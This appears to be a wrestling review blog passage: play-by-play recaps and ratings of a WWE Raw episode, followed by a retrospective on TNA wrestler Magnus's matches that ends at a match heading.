Miz/Cesaro vs. Dolph Ziggler/Sheamus

The villains have Sandow and some chick at ringside with them. Cesaro uppercuts Ziggler in the face and drops ten elbows of his own for no cover. Ziggler comes back with a dropkick but goes after Miz, sending him running to the floor. Miz sits in a chair while Sandow gives him water and the girl checks on Miz’s makeup. The movie star comes in but gets caught in a Thesz Press, sending him running away from the right hands.

Sheamus chases him to the floor and tries some right hands, sending Miz running back into the ring. Miz actually fights back with some left hands, but you know Sheamus is fine with a brawl. He ties Miz up in the ropes for the forearms but Cesaro sneaks in with a cheap shot as we take a break.

Back with Miz on the floor getting cleaned up and Sheamus fighting out of a chinlock but getting slapped in the face. He gets all fired up but has to get rid of Miz, allowing Cesaro to take him down with a fall away slam. Sheamus comes back with the middle rope shoulder and a double tag brings in Ziggler and Miz.

Dolph cleans house but the Fameasser is countered into a powerbomb. Ziggler counters that into a sunset flip and hits a running DDT for two. The power guys fall outside again but Miz runs from a Zig Zag attempt. He “tags” Sandow who goes in and takes the Zig Zag, allowing Miz to hit the Skull Crushing Finale for the pin on Dolph at 10:53.

Rating: C. The wrestling was fine but I’m digging Miz’s character more and more every week. They’re actually thinking with it and allowing him to use some of the stuff involved to make it even better. Having a makeup girl and stunt double are great ideas and something that a guy like him would have. The pin here wasn’t clean so it takes away some of the sting. Good stuff.

In case you somehow forgot it, here’s the Bellas’ segment from last week.

Now we get a segment called Growing Up Bella with Nikki talking about going to the prom with a guy she had liked for years. She saved up for months to buy the dress but Brie stole her date. Nikki has never told this to anyone so it must be very painful for her.

Rosa Mendes/Cameron/Eva Marie vs. Layla/Summer Rae/Naomi

The fans start a Randy Savage chant as the announcers tell us about 18 times that Total Divas season 3 debuts this Sunday. Layla and Rosa have a slow motion match to start but Cameron makes the save. A brawl breaks out and it’s a double DQ at 1:00.

We look at Rollins and Kane taking out Ambrose but not being able to do the same to Reigns last week.

Mark Henry/Big Show vs. Wyatt Family

They keep pushing the combined weight in this match, even though it’s the same weight as the other two times we’ve seen these teams fight. Henry runs Rowan over to start and sends him hard into the corner. Mark actually gets on the bottom rope to hammer away before splashing Erick in the other corner. The fans chant Sexual Chocolate as the slow beating continues. Harper breaks up a Vader Bomb attempt, allowing Rowan to knock him off the middle rope. A big boot gets two for Harper and we take a break.

Back with Henry and Rowan both trying big boots at the same time before it’s back to Harper for some choking. Lana and Rusev come out for a distraction as Henry gets up an elbow in the corner. The lukewarm tag brings in Big Show to clean house but he goes outside and gets tripped into the barricade. Show barely beats the count back in but Harper kicks him down for two.

Rowan does his head vice for a bit before it’s back to Harper for some shots to the face. A superkick gets two and Rowan slams Big Show with ease. Show gets in a shot of his own and makes the tag to Henry. House is cleaned again and everything breaks down. Big Show and Rowan fight to the announcers’ table but Rusev comes in for the DQ at 11:21.

Rating: D+. WAY too long here, especially when you consider we’ve seen this match two times in the last few weeks, not counting the six man from last week. That’s one of WWE’s biggest problems: they keep airing matches over and over again and don’t understand why interest goes down every time.

Big Show clears the ring with a chair.

More Growing Up Bella, this time with Nikki talking about getting her driver’s license and having to drive Brie everywhere in the used car they were given by their grandmother. Then Brie stole the car and Nikki’s license and got in a wreck. Nikki got the blame because it was her license. Again, she’s never told anyone about this.

Michael Sam, the first openly gay NFL draft pick, has been given an invitation to Raw next week.

We look back at Lesnar vs. Cena, Lesnar and Heyman’s promo from last week, and Cena going nuts last week.

Here’s Heyman to talk about Cena overreacting since his loss. We get stills from Summerslam with Heyman talking about how Cena has stopped listening to reason. Cena can fight as hard as he wants, but you can take the entire locker room and multiply them by infinity and it won’t be as brutal as Lesnar at Night of Champions.

Jack Swagger vs. Curtis Axel

Colter is back. Swagger runs Axel over to start and WE THE PEOPLE, only to get hit in the ribs. Bo Dallas pops up on the stage with three chairs behind him. Axel hits a clothesline to the back of Swagger’s head as Dallas has two men and a woman from the crowd come sit in the chairs. Curtis dropkicks Swagger to the floor but Jack comes right back with the Patriot Lock for the submission at 2:30.

Post match Dallas introduces the three people who are all crushed by Swagger losing at Summerslam. One of the men is a farmer who bet $1000 on Swagger and then bet double or nothing on the rematch. Now the government is taking his farm. Next up is an immigrant that failed his citizenship test and is being deported back to Italy. Colter looks thrilled at that one. Next up is a woman whose son has been crushed by the loss. After the loss, her son wants to be like Vladimir Putin. All three agree to Bolieve.

Adam Rose vs. Titus O’Neil

Adam rolls around on the mat to start but Titus picks him up for a hard backbreaker. The bunny hops over to Slater and gets shoved down. Titus isn’t sure what to think but the bunny double legs Slater and beats the carrots out of him. Rose wins with a rollup at 1:51.

More Growing Up Bella. This time it’s about Brie barely graduating high school until Nikki took her exams for her.

The announcers hype up Attitude Week on the WWE Network.

Rusev vs. Zack Ryder

Lana makes fun of Labor Day before we get going. Ryder hammers away but the Rough Ryder is caught in a fall away slam. The jumping superkick sets up the Accolade for the submission at 0:54.

Post match Henry chases Rusev off. Henry says he’s scared of what he’d do if he got his hands on Rusev. Mark has opened an international wing of the Hall of Pain and Rusev is going to be the first inductee.

Stephanie says she can relate to the Growing Up Bella stories and says her door is always open for employees with problems. HHH is amused by this and says Stephanie is always helping people. Apparently they have an announcement for Nikki.

Here’s Stephanie to bring out Nikki for a chat. The fans are already calling this boring. Stephanie says the people know what it’s like to be in the shadow of those greater than them. Nikki has been through so much so Stephanie is making her #1 contender for the Divas Title.

This brings out Brie but Stephanie cuts the music, saying it now belongs to Nikki alone. Brie wants to know if this is what Nikki has wanted all along. Nikki says that it’s about her for once and that she sees right through everything Brie is doing. She can’t wait for Bryan to see it too. Nikki is going to be the next Divas Champions and the Bella that everyone is talking about.

This brings out AJ Lee to try to save this thing. AJ points out that there is only one contender and she never got a rematch. This brings out Paige who says there’s one thing missing from this talk about the Divas Title: the bloody Divas Champion. Nikki has a solution to this whole thing: she’ll forgive Brie if Brie will quit.

Brie looks annoyed so Nikki tells her to go back to the hole she and Bryan share in Washington to have troll babies. She screams at Brie that if she loves Nikki she’ll leave, but Brie pushes Nikki down, right into Paige. Brie leaves and the fans chant YES. AJ picks up the title but Stephanie tells her to hand it over….and AJ does just that.

Jericho vs. Wyatt in a cage is made for next week.

Bray wants to know how far a rat will go to outrun a serpent. Inside the cage, Jericho won’t be able to run.

Jimmy Uso vs. Goldust

The Dusts try to apologize for their actions but the Usos will have none of it. Jimmy takes Goldust down to start and hits a quick Samoan drop. The running Umaga attack connects and there’s the superkick but Stardust puts his brother’s foot on the ropes. The injured Jey goes after Stardust but gets kicked in the leg. Jimmy dives on Stardust, allowing Goldust to kick Jimmy in the head. The Final Cut gets the pin on Jimmy at 2:14.

Stardust crushes Jey’s bad leg against the post with a chair.

We look at Ambrose getting hurt again. Cole makes sure to point out that Kane and Rollins planned to have the blocks there. We also see Reigns fighting off both Authority members.

Preview of the new season of Total Divas, focusing on the Bellas of course.

Big Show congratulates Henry on chasing Rusev off but wants him to remember the team. Henry says he won’t, but he has to get Rusev. Show offers to be in his corner but Henry needs to do this by himself.

Chris Jericho/John Cena/Roman Reigns vs. Kane/Randy Orton/Seth Rollins

HHH and Stephanie are at ringside. Reigns and Orton get things going with Roman quickly winning a slugout. A big clothesline drops Randy but Reigns pulls Rollins into the ring instead. Seth bails outside and we take a break. Back with Reigns hitting a Samoan drop for two on Orton. Rollins comes in with a shot to Reigns’ head for two and we hit the chinlock. Off to Kane for a chinlock of his own as the fans are getting restless.

Back to Randy who stomps Reigns’ head for two and kicks him down to the mat. Reigns finally gets in a clothesline but the hot tag brings in Jericho to face Rollins. The Lionsault has Rollins in trouble and there are the Walls, only to have Orton make a save. There’s a Superman Punch for Randy but Kane comes in with a chokeslam. Cena AA’s Kane, only to take the springboard knee from Seth. Jericho rolls up Rollins for two but gets kicked in the head. A Codebreaker puts Rollins down and we take a break.

We come back to Jericho fighting out of a chinlock but Rollins sends him into the corner. Rollins hits a running forearm to put the Canadian down and goes up top. Jericho pops up though and dropkicks Seth out of the air in a nice counter. Kane breaks up a hot tag attempt and puts on a chinlock of his own.

Jericho fights to his feet but dives into an uppercut for two. Orton can’t superplex Chris and gets knocked off the top, setting up a high cross body for two. Kane breaks up yet another tag attempt but Jericho nails him with a forearm and makes the real hot tag to Cena (BIG reaction for that). John cleans house and hits an AA on Kane before tagging out to Reigns for the spear and the pin at 22:54.

Rating: C+. This was the standard long match to end a bad show. Cena not getting to come in until the very end was a nice idea and let him explode all at once. Kane taking the fall was pretty clear and there’s nothing wrong with that. This was nothing special though and felt like a house show main event more than anything else.

Cena gets in HHH’s face and AA’s Rollins through the table.

Ads for Michael Sam, Jericho vs. Wyatt in a cage and Orton vs. Reigns close the show. Did I mention Monday Night Football is back next week?

Overall Rating: D. And that’s being generous. Ignoring how horrible the Bellas’ story and acting has been, there was WAY too much focus on that one story all night. This show basically had three stories on it: the Bellas, the World Title and Henry vs. Rusev. The rest was almost all window dressing and that makes for a very long three hours. The show is just so uninteresting right now and the Bellas are a huge part of it. Inviting Michael Sam and then showing his picture on a graphic that says NEXT WEEK is there to deceive people rather than entertain them. It makes the company look lost and that’s not good. Horrible show.

Results
Miz/Cesaro b. Sheamus/Dolph Ziggler – Skull Crushing Finale to Ziggler
Rosa Mendes/Cameron/Eva Marie vs. Layla/Summer Rae/Naomi went to a double DQ when all six started brawling
Mark Henry/Big Show b. Wyatt Family via DQ when Rusev interfered
Jack Swagger b. Curtis Axel – Patriot Lock
Adam Rose b. Titus O’Neil – Rollup
Rusev b. Zack Ryder – Accolade
Goldust b. Jimmy Uso – Final Cut
John Cena/Roman Reigns/Chris Jericho b. Kane/Seth Rollins/Randy Orton – Spear to Kane

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Wrestler of the Day – August 31: Magnus

Today we’re going with a Roman who became British: Magnus.

We’ll start things at some point in 2008 in England.

Nick Aldis vs. Dean Allmark

Aldis is Magnus’ real name and he’s under a mask here. The ring is TINY here as is the case in a lot of indy promotions. The much smaller Allmark takes Aldis down to start but is easily dominated in a test of strength. A Sin Cara armdrag out of the corner puts Aldis down and Dean cranks on an armbar. There’s a nice Owen Hart spinout to counter but Dean dropkicks him out to the floor.

Back in and Allmark goes for the mask, earning him a European uppercut to the jaw. Nick avoids some clotheslines and nails a jumping knee to the jaw for two. Allmark blocks a Vader bomb with his knees and gets two off a cross body. Aldis drops a good looking top rope elbow for two and says that’s it. He goes up again, only to get slammed off the top Ric Flair style. Dean nails a superkick (it is an indy match after all), followed by a middle rope moonsault for the pin.

Rating: D+. This was your basic power vs. speed indy match but the small ring caused them some issues. Allmark was nothing special but you could see that Aldis was going to be something under the right circumstances. This was far different from old school British wrestling, though the older style is more interesting to a degree.

Magnus got his start in TV on the British TV show Gladiators (British version of American Gladiators. This became his gimmick in TNA, but as a full Roman gladiator. Why a Roman was British wasn’t really clear and TNA didn’t feel the need to explain the connection. Anyway, he debuted in the beginning of 2009 and we’ll pick things up at Destination X 2009.

Brutus Magnus vs. Eric Young

Magnus is undefeated coming in. He hammers away on Young to start and gets a jumping back elbow to take him down. The fans are of course behind Eric and he speeds things up to take him down with an armdrag. Ok apparently Magnus is on the British version of American Gladiators, properly enough titled British Gladiators. That explains the name, but when do you remember an American Gladiator that thought he was a Roman gladiator? Kind of odd but it makaes sense if you think about it from a wrestling viewpoint.

Brutus takes over again and the beating begins. I’d assume it’ll continue until morale improves. Powerbomb connects but the top rope splash by Magnus that it sets up misses. Death Valley Driver, Young’s former/current finisher, gets two and the ending is already sealed by that with ease. Top rope elbow by Young gets two as well. Nice bridge by Young into a backslide gets two. Eric goes up top only to get crotched and end his momentum. Something resembling a TKO off the top rope ends this with Magnus getting the win.

Rating: D+. What the heck is up with the first twenty minutes of this show? Boring match here that again could and probably should have been on Impact. Magnus never really did anything for the most part as he was around and then dropped the whole Gladiator thing and became a generic British dude. Nothing here of note at all.

Magnus would realize he was British and team up with Douglas Williams as the British Invasion. They would win the IWGP Tag Team Titles and defend them while also challenging for the TNA Tag Team Titles in a fourway ladder match at Bound For Glory 2009.

IWGP Tag Titles/TNA Tag Titles: Beer Money vs. British Invasion vs. Team 3D vs. Main Event Mafia

Since this is TNA they can manage to screw up a TLC match. Both tag titles are on the line here and any team can win any of them. The Mafia, Steiner and Booker, are TNA tag champions and the Invasion are the IWGP champions. The thing was that TNA decided that since EVERYONE watches Japanese tag wrestling that there was nothing wrong with having two sets of tag titles because these other belts are SO famous. I really hated this idea, as in far more than most TNA ideas which should tell you a lot.

Thankfully soon after this TNA would WAKE UP and realize no one cared about the IWGP belts because THIS ISN’T JAPAN. Big brawl to start while Beer Money hides in the corner which is smart. We get into the heart of why I hate this immediately as Taz and Tenay talk about how prestigious the IWGP belts are. That’s all well and good but there’s one flaw: your belts are supposed to be the top titles. If they weren’t you wouldn’t call them WORLD tag titles. It was like TNA was saying “yeah we’re a big deal but we pale in comparison to Japan.” I hated it.

Steiner and D-Von go off to fight and it’s a big mess that’s hard to call. I wouldn’t have put two big multi-man climb up to get an object matches on one show but I get what they were thinking here. Ton of weapons go everywhere and of course there isn’t much in the way of flow but there isn’t supposed to be here. DWI for Booker. Steiner busts out the corner Frankensteiner which is nothing like the original one but is an easier way to avoid having to do the harder spot.

Booker might be legit hurt. Steiner does nothing but suplexes, showing his level of awesomeness. Steiner goes up after the TNA belts (at least he didn’t go for the others first) but the ladder is too short and he gets shoved off. Booker has a stretcher brought out for him as Steiner takes What’s Up. Eh with that many steroids in him he probably didn’t feel a thing.

The Brits bring in tables as Booker is wheeled out. Dudleys just END the English dudes with chair shots. And the guitar player from earlier gets a chair shot on Magnus. Williams goes through a table in the ring as we’re in the “everyone but three people lay down while the three guys do spots” and D-Von hits What’s Up on Williams. BIG Table chant. Double chokeslams (from the Dudleys?) put Beer Money down and through tables.

Steiner pops back up and brings in a ladder. And then he falls off a ladder thanks to 3D. The team not the move. The Dudleys go up at the same time like idiots and here’s Rhyno of all people, since you know 8 people in one match aren’t enough, and blasts them with chairs but not before D-Von gets the IWGP Titles down.

Beer Money and the Brits both go up, resulting in a bad looking suplex on Magnus from both guys. Beer Money has an open shot but has to do their taunt first. Storm gets some beer and then a front flip powerbomb to take Magnus out again. Cool looking spot. Roode is about to get the TNA belts but Rob Terry of the British Invasion comes down to throw him through a table and help Magnus get the belt to end it.

Rating: B. Another fun match much like Ultimate X earlier. There were a lot of people here and I think too many teams. That and having two sets of tag titles made this a bit too much of a mess and the lack of a huge spot kind of slowed it down from being great. That being said this was a fun match and did the job it was supposed to do: get the crowd going. It’s not up to the levels of the great TLC matches but it was good. I still wish they didn’t have two multi-man grab the title matches at one show though but what can you do?

Here’s a title defense at Final Resolution 2009.

Tag Titles: British Invasion vs. Motor City Machine Guns

The idea here is that the Brits are just there and the Guns are tired of being overlooked which is a very true statement. At least we get the Motorcity song. The Invasion is part of World Elite and is comprised of Magnus and Doug Williams. The ropes are red and green here which is either cool or stupid as all goodness. Not sure which.

Sabin vs. Williams to start us off here. Williams takes him down with a wristlock and they roll around on the mat a bit. Off to Shelley and it’s a bit more of the same. Magnus comes in and the fourth guy works on a wristlock. Shelley tries to jump at Magnus and it just fails. Right back to the arm because we’ve gone a full 8 seconds without doing that. The Guns both come in and kick away to take both members of the Brits now.

Stereo double dives from the middle rope on the inside to the Brits on the floor in an awesome spot. Back in now with Magnus taking Shelley down and it’s off to Williams. Technically this has been very sound so far. Williams gets an inverted Gory Special to drive Shelley into the top turnbuckle in a cool spot. Shelley manages to get a top rope cross body for two.

Back off to Magnus now for some double teaming. Shelley and Williams (these Brits tag too much) have a nice technical piece and Magnus takes down Sabin to prevent the tag. Full nelson by Magnus gets him nowhere. A Vader Bomb by Magnus eats knees and it’s off to Sabin vs. Williams now for a nice change of pace. Tornado DDT by Sabin gets two.

Back off to Shelley and Magnus and Shelly hits a top rope kick to the chest (think RVD) for two. The tagging thing is more or less being more forgotten by the second here. Sabin dives through Shelley’s legs to take Williams into the guard rail. Sliced Bread #2 to Magnus gets a close two. Double stomp by Shelley misses and he runs into an exploder suplex by Williams.

Everyone in now as the Guns are taken down one by one. That would be all as far as numbers go as there are only two Guns. Shelley and Magnus slug it out in the ring as we’re back to a standard tag format now. Back off to Sabin again and the Guns hit a double team downward spiral/missile dropkick for two. Rolling Chaos doesn’t work as Sabin saves Alex by hitting a Cutter on Williams. The unnamed Skull and Bones gets two on Magnus. Double team Sliced Bread doesn’t work and Sabin gets caught in a sweet powerbomb/European Uppercut off the top combination to end this.

Rating: B. Good stuff here as it was fast paced and the fans were into it. For the life of me though I don’t get why they waited for so long to put the belts on the Guns as they got them due to Hall being released for being Scott Hall. This was a good match and I was getting into it by the end, which says a lot given that I knew who was winning.

Magnus would challenge for the Global Title at Destination X 2010.

Global Title: Magnus vs. Rob Terry

Terry is getting the Goldberg push which is fine I guess. It keeps his matches short if nothing else. It never ceases to amaze me that people talk about what an alternative to WWE TNA is supposed to be and here we have a not incredibly talented musclehead guy getting a mega push. A spinebuster ends this in like a minute and a half.

Rating: N/A. The Goldberg push continues, which I can’t say I have many problems with. This was a total non-threat so that’s all fine and good.

The next year wouldn’t have much for Magnus until he reformed the British Invasion. From Lockdown 2011.

Ink Inc vs. Scott Steiner/Crimson vs. Orlando Jordan/Eric Young vs. British Invasion

Jordan’s outfit of the night is a Tarzan leopard print kind of deal. I think this is one fall to a finish. Young vs. Neal to start us off with Young immediately trying to escape which isn’t an option for winning. Neal with some arm drags followed by Young with an arm drag leading to a standoff. Moore comes in and takes over with basic heel stuff.

Williams and Jordan get tags at the same time and it’s off to Magnus very quickly. Jordan does various dirty things to Magnus while beating both Brits up. Off to Neal again as this is moving too fast, namely due to having too many people in the match again. The Brits beat down Neal for a bit and a double back elbow gets two. Double neckbreaker gets no count as Moore makes the save.

The crowd wants Steiner so we keep going with Neal vs. Magnus because the crowd wasn’t quite dead enough. Neal breaks free and tags Crimson when he was wide open to tag either. After Crimson beats on Williams for a bit we FINALLY get Steiner and a roar. Steiner cleans house with his traditional stuff, including belly to bellies all around. He goes for the pin on Williams but Moore distracts him.

Young tries to jump Steiner and Crimson is fine with his partner fighting off four or five guys. Shannon makes a blind tag to bring himself in. He dances around Scott and then chokes away in the corner. Young takes his pants off to reveal some tiny tiger print tights. And so much for that as a jumping back elbow takes him down.

Everything breaks down as Moore hits a moonsault press to Williams, Young hits the Gender Bender to Young, Crimson hits Red Alert to Jordan, Magnus hits….something like a Michinoku Driver to Jordan, Steiner hits a t-bone on Magnus, Young hits a missile dropkick to Steiner….and then tries to escape again. Rolling Chaos to Moore is blocked and the Mooregasm ends Williams and gives Ink Inc the win. I give up.

Rating: D. Dudes, I beg of you: GIVE THE FANS SOMETHING TO CHEER FOR! Steiner was over beyond belief and was in the match for all of a minute. The opening 45 minutes of this show should be a lesson in how to kill a crowd. Nothing has been interesting and the best match has been ok at best. Well done TNA: you’ve proven me right so far.

Magnus would hook up with Samoa Joe and get a shot at the Tag Team Titles at Against All Odds 2012.

Tag Titles: Magnus/Samoa Joe vs. Crimson/Matt Morgan

Morgan and Joe start things off. Morgan shrugs off some shoulders to start and hits a shoulder of his own for two. Off to Crimson and Magnus with the power guy taking over. Back to Morgan and the champs double team a bit. Suplex gets two for Morgan and it’s Red Boy again. Magnus hits a clothesline to bring Joe back in as the challengers take over. A big boot to the shoulder by Magnus sets up a Joe backsplash for two.

There’s a chinlock by Magnus to Crimson as things slow down and we enter into a traditional formula. Crimson misses a right hand and Magnus suplexes him for two. Back to Joe who peppers Crimson in the corner with right hands. A big boot out of desperation put Joe down and there’s the double tag to give us Morgan vs. Magnus. The big man cleans house with knee lifts and a double clothesline.

He charges into a Magnus boot though, but it doesn’t seem to matter as a spinning slam into a Rock Bottom (I think Chris Harris called it the Catatonic) gets two. Magnus and Joe can’t hit their double team finisher but Crimson accidentally spears Morgan. Crimson is sent to the outside and the snapmare and elbow combination gives us new champions at 10:00.

Rating: C+. Pretty good tag match here and I’ll overlook the questionable booking for the sake of giving me something to like on this show. Nothing has been bad but this first hour has come and gone with nothing significantly above average at all. Joe getting a title is a nice sight though.

Here’s a title defense at Lockdown 2012.

Tag Titles: Motorcity Machineguns vs. Magnus/Samoa Joe

The Guns have generic music to start but their regular theme starts during their walk to the ring. Methinks that was a glitch. You can win by pin, submission or escape for the rest of the matches. Magnus and Shelley start things off. Things speed way up to start and Magnus gets a clothesline for two. Sabin gets a blind tag and a pair of kicks get two. Off to Joe who is too fat for Sabin to run over.

A crucifix into a sunset flip doesn’t really work either so let’s try a dropkick. That at least slows Joe down and it’s off to Shelley. Back to Magnus who gets caught in a pinball series of punches. Magnus comes back and manages a fallaway slam to throw Sabin into Shelley in a cool spot. Back to Joe who pounds Sabin down to give us a face in peril. I think he’s in peril to another face but you get the idea.

The champions double team Sabin to keep him in the ring including a big boot to set up a backsplash for two. Magnus hooks a chinlock but Chris comes back with a jawbreaker to get out. A spinning spinebuster puts Sabin right back down and it’s off to Joe again. Snap suplex gets two. Sabin grabs a tornado DDT while climbing up Magnus and is able to make the tag. Shelley comes in but even that doesn’t wake this crowd up.

Sliced Bread is broken up but Sabin powerbombs Joe out of the corner. Magnus is knocked off the top and a top rope double stomp gets two for Shelley. A move I think called the elevated Hero’s Welcome gets two on Magnus. Skull and Bones is broken up and Sabin is caught in the Clutch. Sliced Bread hits Magnus and Joe has to break up the choke to make the save. The champions’ finisher misses so Sabin hooks up a rear naked choke on Joe. Magnus hits a kind of Michinoku Driver on Shelley and Joe runs out of the corner, dropping Sabin on Shelley. The snapmare/elbow gets the pin on Shelley at 11:19.

Rating: B-. This started really slow but once they stopped the tagging it got a lot more exciting. I definitely agree with the champions retaining here as there’s nothing for the Guns to do in this division anymore. Having them as something like Beer Money for the last year they were together would be a much better spot for them which is something they could do now.

Magnus would enter the 2012 Bound For Glory Series and had this match at Hardcore Justice 2012.

Bound For Glory Series: D’Angelo Dinero vs. Rob Van Dam vs. Mr. Anderson vs. Magnus

This is Falls Count Anywhere and it’s for 20 points. Dinero is jumped in the back by Aces and 8’s before the match so I guess we have a three way instead. Apparently someone is late to the show but I didn’t catch the name. Anderson is fine with Dinero being out because it’s one less guy to worry about. They play to the crowd to start but Van Dam gets jumped by Magnus and knocked over the top rope to the floor.

Anderson clotheslines Magnus down but can only get a one count. Van Dam comes back in and monkey flips everyone in sight. Well everyone who isn’t a referee that is. Magnus and Van Dam go to the floor but Anderson breaks up the spinning legdrop off the apron. Anderson sends Magnus into the apron for one on the floor. Magnus gets a chair as I assume this is hardcore and not just falls count anywhere.

Anderson knocks the chair away from Magnus but his DDT onto the chair is broken up. The two of them brawl up to the stage on the floor but Van Dam pelts a chair at Magnus to break it up. Now he hits the spinning leg to the back of Anderson who was on the barricade next to the ramp. Magnus gets in a shot to Van Dam’s knee and puts on a Texas Cloverleaf on the stage, only to have Anderson clothesline him in the back of the head to break the hold.

Back to the ring and Anderson and Magnus hit a double clothesline to take each other down. Van Dam stumbles in to try the Five Star but Anderson crotches him. They load up a Tower of Doom but Anderson breaks it up. He tries the superplex on RVD but gets knocked down and Five Starred but Magnus breaks up the pin. Magnus suplexes RVD on the ramp and asks for an expletive chair. RVD goes up the ramp with the Brit following with the aforementioned chair. Apparently no one has watched tape because YOU DON’T HOLD UP A CHAIR IN FRONT OF VAN DAM! Van Daminator gets the pin on Magnus at 9:06.

Rating: B-. I was digging this although I’m not wild on them taking Dinero out. My best guess would be it’s someone trying to take people out of the Series because they’re low in the standings, but wouldn’t you want to take out the people with the most points so you could move up? Maybe it has nothing to do with the standings. Either way, another good match here in a show that feels like it could be awesome.

He would do it again the next year and had a BFG Series match on Impact, June 20, 2013.

Bound For Glory Series: Kazarian vs. Magnus

Magnus knocks him to the floor to start but Kaz comes back in with a forearm to the face and a cravate. Kaz’s spinning crossbody is countered into a very modified powerslam/suplex for two as the crowd is into Magnus. The Brit no sells a missile dropkick (Kaz was supposed to miss but connected anyway), allowing Magnus to hook a Texas Cloverleaf for the submission at 2:54 for ten points. That’s a good move that someone needs to bring back.

Magnus would dominate the Series until the end where he tripped up. He went into a depression but would face his mentor Sting at Bound For Glory 2013.

Sting vs. Magnus

Feeling out process to start with Sting sending Magnus out to the floor in frustration. Back in and Magnus sends him into the corner for some shoulder blocks. We hit a body scissors as Magnus is being rather aggressive here. Back up and Magnus drives in shoulders to the ribs but gets caught in a backdrop so Sting can pound away. There’s a quick Stinger Splash and we’re already in the Scorpion Deathlock less than five minutes in.

Magnus kicks away and a double clothesline puts both guys down. The Brit hits a quick Stinger Splash of his own and gets two off the falcon’s arrow. Sting kicks away from the Cloverleaf and hits another Stinger Splash before putting on the Deathlock again. As usual Sting doesn’t sit down on it at all so Magnus is able to crawl over to the ropes. Stinger Splash number three lands on an uppercut and Magnus hits a Scorpion Death Drop on his own to set up the top rope elbow.

Sting kicks out at two and is able to avoid the second top rope elbow, putting both guys down again. Magnus fires off some hard forearms but Sting says bring it. Sting gets taken down into the Cloverleaf with Magnus actually cranking on the hold….for the submission at 11:02. I NEVER remember Sting tapping before.

Rating: C. Not a great match but the ending couldn’t have been better for Magnus. Sting gave up in the center of the ring without a bit of cheating at all. Good match here and the ending was the perfectly right call, but the match didn’t feel like it had a middle part which hurt it a bit.

Magnus would enter a tournament for the vacant TNA World Title, culminating at Final Resolution 2013.

TNA World Title: Jeff Hardy vs. Magnus

This is Dixieland, meaning it starts in a cage and the winner has to escape and climb a ladder at the top of the stage to pull down the title. Magnus sends Hardy into the corner to start but gets caught in a headscissors. A running forearm in the corner has Magnus in trouble and Jeff rains down right hands. Magnus comes right back with a running clothesline but Hardy avoids the top rope elbow. Hardy tries to leave but shoves Magnus down and misses the Swanton. EC3 is watching at the ramp as we take a break.

Back with Hardy being pulled back through the camera hole before kicking Magnus in the chest to put him down. Hardy goes to climb out but drops a Vader Bomb from the middle of the ropes to keep Magnus down. The Twist of Fate looks to set up a second Twist of Fate but Magnus shoves him off and chop blocks Jeff’s knee. The Texas Cloverleaf has Hardy in trouble and a Snow Plow sets up the top rope elbow from Magnus.

Hardy fights up and hits a quick Whisper in the Wind before climbing up for a HUGE Whisper from the top of the cage to put both guys down again. They both climb over the top but EC3 goes to stop Magnus. The Brit fights him off but Hardy goes after Carter anyway because he wants to win fair. Magnus and Hardy slug it out on the floor but Hardy hits another Twist of Fate on the ramp. Jeff goes to the ladder but Dixie begs him to not go up. Hardy goes up anyway but Spud shoves the ladder down, sending Hardy down the ramp in an ugly crash. Magnus goes up to win the title at 17:43.

Rating: B-. Obvious ending aside, this was still a good match that gets better if you just make it a cage match. The ladder felt like overkill and the match being called Dixieland made it feel more silly than important. Hardy is good in this role and Magnus as the Corporate Champion makes sense.

From two weeks later on Impact with Magnus defending against the champion that left the company with the title.

TNA World Title: AJ Styles vs. Magnus

No DQ and both guys are champion coming in. Magnus immediately goes to the floor and does it again for a second time in less than ninety seconds. No contact yet. Magnus gets back in but here are Ethan Carter and Spud to jump AJ before any contact is made. AJ fights them off and superkicks Magnus in the ribs but Carter breaks up a Styles Clash attempt. Sting finally comes out for the save but doesn’t do anything as AJ saves himself. Magnus bails to the floor and we take a break.

Back with the two champions still not making contact as the Bro Mans and Zema Ion come out to jump Sting and AJ and giving us six run-ins in less than eight minutes. Zema DDTs AJ and the Bro Down gets a delayed two on Styles. Sting comes back in as Magnus just chills at ringside. The Brit finally comes back in and AJ quickly loads up the Clash, only to have Bad Influence make the save and lay him out with a powerbomb/neckbreaker combo.

Earl Hebner refuses to count so Dixie and Brian Hebner get us to ELEVEN people coming out for this match. Bad Influence goes High/Low on AJ for two and Brian gets yelled at. Sting lays out the Bro Mans with a double Death Drop on the floor before putting Ion in the Deathlock. AJ fights back against Bad Influence as Sting comes in to help even more. We’re down to Magnus vs. AJ with Styles getting the Calf Killer, only to have Kazarian take out the referee.

Kazarian monkey flips AJ into Daniels but AJ clotheslines him down and Peles Kaz. Now the Styles Clash takes out Magnus but there’s no referee. Earl Hebner hobbles back out (we’ll call that #12) to count two before AJ dives over the top to take out Bad Influence yet again. AJ goes up top but Bobby Roode makes it #13 by shoving Styles into the ropes. Three AA/DVDs lay AJ out for about the fifth time, giving Magnus the pin (thanks to referee #3 and the fourteenth person added to the match) and the undisputed title at 15:47. Sting was being held back by most of the heels in case you were wondering.

Rating: D. So they spent all night hyping up the match before going full Russo on it. That’s what we spent months and months building to? The match was definitely energetic but we really had to spend all this time setting up Dixie with her corporate champion? Assuming AJ leaving isn’t a HUGE swerve, this was one of the biggest wastes of time I can remember in years.

Magnus would defend in Japan at One Night Only: Global Impact Japan.

TNA World Title: Magnus vs. Kai

Magnus is defending and Kai won a tournament to get this shot. Feeling out process to start as a lot of TNA guys have come out to watch the match. No one goes anywhere when they fight over a top wristlock so Magnus takes him down with a headlock. Back up and Kai nails three straight dropkicks but Magnus stops him with a forearm. They head up the ramp and fight over a suplex on the stage until the champion takes him over.

Back in and Taz keeps complaining about the referee not being up to his standards. We hit another chinlock followed by a camel clutch to Kai. Taz notices that Kai’s tights say Dress Camp and goes on a rant about summer camp. Kai fights up and sends Magnus to the floor, followed by a suicide dive to take over. Magnus fights out of a powerbomb and kicks away, only to get dropped by a clothesline.

They slug it out with Kai nailing a falcon’s arrow for two. Kai goes up but gets superplexed down, though Magnus can’t follow up. Back up and a springboard enziguri drops Magnus and a running boot to the face gets two. A powerbomb gets two more on the champion but he catches Kai in a Michinoku Driver for a near fall of his own. The top rope elbow gets the same and another Michinoku Driver followed by a second elbow retains Magnus’ title.

Rating: C. It was a pretty good main event style match, but the problem I have with this is the problem I have with almost all shows like this: who is Kai and why should I care about him? Yeah I know he won a tournament, but I have no connection to Kai, have never seen one of his matches or heard him talk. All I know about him I learned in the last fifteen minutes of hearing Tenay and Taz and watching this one match. Wrestling is about connecting with performers, be it through promos or through their matches. With nothing to go off, there’s no reason for me to care about Kai.

Here’s Magnus defending at Lockdown 2014.

TNA World Title: Samoa Joe vs. Magnus

